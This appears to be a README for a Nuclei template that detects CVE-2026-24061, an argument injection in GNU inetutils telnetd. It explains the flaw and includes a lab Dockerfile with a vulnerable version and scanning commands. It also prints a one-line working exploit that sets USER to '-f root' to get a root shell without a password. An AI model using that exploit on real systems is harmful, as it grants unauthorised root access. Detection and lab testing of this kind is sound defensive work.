mr-zapi/cve-2026-24061Nuclei template for detecting CVE-2026-24061, a critical telnet argument injection in GNU inetutils telnetd allowing unauthenticated root access.
Nuclei template for detecting the CVE-2026-24061 vulnerability in GNU inetutils telnetd, allowing root access without authentication.
CVE-2026-24061 is a critical argument injection vulnerability in GNU inetutils telnetd that allows an attacker to obtain a root shell without knowing the password.
%U parameter was added to telnetd: /usr/bin/login -p -h %h %?u{-f %u}{%U}
Vulnerability: The USER environment variable is passed via the telnet protocol (RFC 1572 NEW-ENVIRON) and is not sanitized before being substituted into the command.
Exploitation: The attacker sets USER="-f root" when connecting:
USER="-f root" telnet -a target.com 23
/usr/bin/login -p -h hostname -f root
The -f flag means "skip authentication" → root without a password 💀
inetutils-telnetd 2:2.0-1+deb11u2nuclei -t cve-2026-24061.yaml -u target.com:23 -code
nuclei -t cve-2026-24061.yaml -l targets.txt -code
For testing, you can spin up a vulnerable Docker container:
FROM debian:11-slim
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y --no-install-recommends \
inetutils-telnetd=2:2.0-1+deb11u2 \
telnet && \
rm -rf /var/lib/apt/lists/*
RUN useradd user1 && \
sed -i 's/#<off># telnet/telnet/' /etc/inetd.conf
EXPOSE 23
CMD ["/usr/sbin/inetutils-inetd", "-d"]
Running:
# Build the image
docker build -t vuln-telnetd .
# Run it
docker run -d -p 2323:23 vuln-telnetd
# Check for the vulnerability
nuclei -t cve-2026-24061.yaml -u 127.0.0.1:2323 -code -v
9.8 / 10 - Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
This tool is intended only for legal security testing of systems for which you have explicit permission.
The author is not responsible for any misuse of this template.
Created by Mr.Zapi